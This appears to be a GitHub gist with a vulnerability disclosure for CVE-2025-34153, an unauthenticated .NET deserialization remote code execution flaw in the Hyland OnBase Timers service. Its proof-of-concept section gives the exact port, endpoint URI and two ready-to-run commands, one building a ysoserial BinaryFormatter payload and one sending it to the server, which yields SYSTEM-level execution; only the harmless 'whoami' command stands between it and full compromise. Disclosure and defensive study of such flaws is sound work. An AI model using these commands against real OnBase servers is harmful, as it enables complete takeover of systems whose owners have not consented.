Skip to content

Instantly share code, notes, and snippets.

@VAMorales
Last active August 13, 2025 16:48
Show Gist options
  • Select an option

  • Save VAMorales/32794cccc2195a935623a12ef32760dc to your computer and use it in GitHub Desktop.

Select an option

Save VAMorales/32794cccc2195a935623a12ef32760dc to your computer and use it in GitHub Desktop.

Exploit Title: Hyland Software OnBase - Unauthenticated Remote Code Execution via .NET Deserialization

Disclosure Date: 04/09/2025

CVEID: CVE-2025-34153

Exploit Authors: Victor A. Morales, GM Sectec Inc.

Vendor Homepage: https://www.hyland.com/

Affected Versions: < 17.0.2.87 (other versions may be affected)

Known Fixed Version: 24.1 (earlier versions may contain a fix)

Description

The .NET Remoting TCP channel registered on port 6031 is affected by an unauthenticated deserialization vulnerability that leads to blind Remote Code Execution under the context of the highest privileged Windows account NT AUTHORITY\SYSTEM, resulting in full compromise of the underlying system that the OnBase Timers service is installed in.

PoC

Using ysoserial.exe, the BinaryFormatter deserialization payload is generated with the gadget TypeConfuseDelegate to trigger Remote Code Execution on the server. As a proof of concept, the command provided will have the remote server execute the “whoami” command locally and store the command output of the account currently running the service into the file located at “C:\temp\whoami.txt”.

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c 'whoami > c:\temp\whoami.txt' -o base64

Using ExploitRemotingService.exe, the generated base64 encoded payload from ysoserial.exe is passed as an argument and sent as a raw deserialization payload to the .NET Remoting TCP Channel on port 6031 with the known URI endpoint TimerServer that was registered inside Hyland.Core.Timers.dll.

ExploitRemotingService.exe tcp://<onbase-server>:6031/TimerServer raw <ysoserial-payload>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment